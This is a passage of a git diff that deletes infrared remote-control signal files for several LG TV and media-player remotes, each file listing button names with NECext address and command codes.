NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: PSM -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: PICTURE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: SSM/\* -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: SOUND -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: HOLD -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 29 00 00 00 -# -name: KEY_TIME -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2A 00 00 00 -# -name: SIZE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2B 00 00 00 -# -name: REVEAL -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2C 00 00 00 -# -name: UPDATE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 2D 00 00 00 -# -name: Q.VIEW -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: I/II/\* -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: EYE/\* -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 -# -name: TV/AV -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 38 00 00 00 -# -name: MENU/INDEX -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3B 00 00 00 -# -name: TEXT/MIX -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 3E 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00090D/0,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00090D/0,-1.ir deleted file mode 100644 index f4211cda7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00090D/0,-1.ir +++ /dev/null @@ -1,158 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 00 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 01 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 02 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 03 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 04 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 05 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 06 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 07 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 08 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 09 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0C 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0D 00 00 00 -# -name: psm -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 0E 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 10 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 11 00 00 00 -# -name: picture -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 13 00 00 00 -# -name: ssm -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 16 00 00 00 -# -name: pr-up -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 20 00 00 00 -# -name: pr-down -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 21 00 00 00 -# -name: sound -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 24 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 25 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 26 00 00 00 -# -name: q-view -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 32 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 34 00 00 00 -# -name: i-ii -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 36 00 00 00 -# -name: eye -type: parsed -protocol: NECext -address: 00 00 00 00 -command: 37 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00090N/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00090N/4,-1.ir deleted file mode 100644 index 9ade4d84c..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00090N/4,-1.ir +++ /dev/null @@ -1,176 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: CHPLUS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: CHMINUS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: MTS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: TVVIDEO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: PICTURE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0C 00 00 00 -# -name: KEY_SLEEP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: REVIEW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: FCR -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: CAPTION -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 39 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 43 00 00 00 -# -name: KEY_ENTER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 44 00 00 00 -# -name: APC -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4D 00 00 00 -# -name: AUTOPRG -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 54 00 00 00 -# -name: MEMORYERASE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 55 00 00 00 -# -name: EYEASTERISK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 95 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00091N/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00091N/4,-1.ir deleted file mode 100644 index 18900cdf1..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00091N/4,-1.ir +++ /dev/null @@ -1,170 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: JON-WEON -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: JO-YONG-HI -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: EUM-SEONG-DA-JUNG -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0A 00 00 00 -# -name: TV/OI-BU-IB-LYEOK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: CHWI-CHIM-YE-YAK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0E 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: I-JEON-CHAE-NEOL -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: SEON-HO-CHAE-NEOL -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: JA-MAG-BANG-SONG -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 39 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 43 00 00 00 -# -name: HAG-IN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 44 00 00 00 -# -name: JA-DONG-YEONG-SANG -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 4D 00 00 00 -# -name: IB-CHE-EUM-HYANG -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 52 00 00 00 -# -name: CHWI-SO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: MULTIMEDIA -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 98 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00133A/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00133A/4,-1.ir deleted file mode 100644 index f336019ed..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_6710V00133A/4,-1.ir +++ /dev/null @@ -1,80 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: KEY_CYCLEWINDOWS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 43 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 44 00 00 00 -# -name: arc -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 79 00 00 00 -# -name: blank -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 84 00 00 00 -# -name: auto -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 92 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: A4 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: A5 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: AD 00 00 00 -# -name: still -type: parsed -protocol: NECext -address: 04 00 00 00 -command: BC 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_AKB69680403/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_AKB69680403/4,-1.ir deleted file mode 100644 index 458b98bc0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_AKB69680403/4,-1.ir +++ /dev/null @@ -1,248 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: qview -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: t.opt -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 28 00 00 00 -# -name: av_mode -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 39 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 40 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 43 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 44 00 00 00 -# -name: q.menu -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 45 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 53 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 61 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 63 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 71 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 72 00 00 00 -# -name: simplink -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7E 00 00 00 -# -name: energy_saving -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 95 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: AA 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: AB 00 00 00 -# -name: tvradio -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_AKB72915207/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_AKB72915207/4,-1.ir deleted file mode 100644 index 25cacc1a7..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_AKB72915207/4,-1.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_CHANNELUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_CHANNELDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: input -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: q.view -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: exit2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: t.opt -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 28 00 00 00 -# -name: avmode -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 30 00 00 00 -# -name: KEY_SUBTITLE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 39 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 40 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 43 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 44 00 00 00 -# -name: q.menu -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 45 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 53 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 61 00 00 00 -# -name: ellow -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 63 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 71 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 72 00 00 00 -# -name: ratio -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 79 00 00 00 -# -name: simplink -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7E 00 00 00 -# -name: KEY_FORWARD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8E 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8F 00 00 00 -# -name: energy -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 95 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: AA 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: AB 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B0 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B1 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: BA 00 00 00 -# -name: tvrad -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_AKB73715601/4,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_AKB73715601/4,-1.ir deleted file mode 100644 index 1674dc262..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_AKB73715601/4,-1.ir +++ /dev/null @@ -1,290 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_PAGEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 00 00 00 00 -# -name: KEY_PAGEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 01 00 00 00 -# -name: KEY_VOLUMEUP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 02 00 00 00 -# -name: KEY_VOLUMEDOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 03 00 00 00 -# -name: KEY_RIGHT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 06 00 00 00 -# -name: KEY_LEFT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 07 00 00 00 -# -name: KEY_POWER -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 08 00 00 00 -# -name: KEY_MUTE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 09 00 00 00 -# -name: KEY_SWITCHVIDEOMODE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 0B 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 10 00 00 00 -# -name: KEY_1 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 11 00 00 00 -# -name: KEY_2 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 12 00 00 00 -# -name: KEY_3 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 13 00 00 00 -# -name: KEY_4 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 14 00 00 00 -# -name: KEY_5 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 15 00 00 00 -# -name: KEY_6 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 16 00 00 00 -# -name: KEY_7 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 17 00 00 00 -# -name: KEY_8 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 18 00 00 00 -# -name: KEY_9 -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 19 00 00 00 -# -name: KEY_CHANNEL -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1A 00 00 00 -# -name: KEY_FAVORITES -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 1E 00 00 00 -# -name: KEY_TEXT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 20 00 00 00 -# -name: KEY_CONFIG -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 21 00 00 00 -# -name: KEY_BACK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 28 00 00 00 -# -name: KEY_UP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 40 00 00 00 -# -name: KEY_DOWN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 41 00 00 00 -# -name: MYAPPS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 42 00 00 00 -# -name: KEY_OPTION -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 43 00 00 00 -# -name: KEY_OK -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 44 00 00 00 -# -name: KEY_MENU -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 45 00 00 00 -# -name: KEY_LIST -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 53 00 00 00 -# -name: KEY_EXIT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 5B 00 00 00 -# -name: KEY_BLUE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 61 00 00 00 -# -name: KEY_YELLOW -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 63 00 00 00 -# -name: KEY_GREEN -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 71 00 00 00 -# -name: KEY_RED -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 72 00 00 00 -# -name: KEY_PROPS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 79 00 00 00 -# -name: KEY_HOME -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 7C 00 00 00 -# -name: KEY_NEXT -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8E 00 00 00 -# -name: KEY_PREVIOUS -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 8F 00 00 00 -# -name: APP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: 9F 00 00 00 -# -name: KEY_INFO -type: parsed -protocol: NECext -address: 04 00 00 00 -command: AA 00 00 00 -# -name: KEY_PROGRAM -type: parsed -protocol: NECext -address: 04 00 00 00 -command: AB 00 00 00 -# -name: KEY_PLAY -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B0 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 04 00 00 00 -command: B1 00 00 00 -# -name: KEY_PAUSE -type: parsed -protocol: NECext -address: 04 00 00 00 -command: BA 00 00 00 -# -name: KEY_RECORD -type: parsed -protocol: NECext -address: 04 00 00 00 -command: BD 00 00 00 -# -name: KEY_TV -type: parsed -protocol: NECext -address: 04 00 00 00 -command: F0 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_BC205P/110,-1.ir b/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_BC205P/110,-1.ir deleted file mode 100644 index b6b7cccd0..000000000 --- a/assets/ir_optional_assets/optional-assets/_CSV-IRDB_/LG/Unknown_BC205P/110,-1.ir +++ /dev/null @@ -1,194 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: KEY_EJECTCD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 00 00 00 00 -# -name: KEY_STOP -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 01 00 00 00 -# -name: KEY_REWIND -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 02 00 00 00 -# -name: KEY_FASTFORWARD -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 03 00 00 00 -# -name: KEY_0 -type: parsed -protocol: NECext -address: 6E 00 00 00 -command: 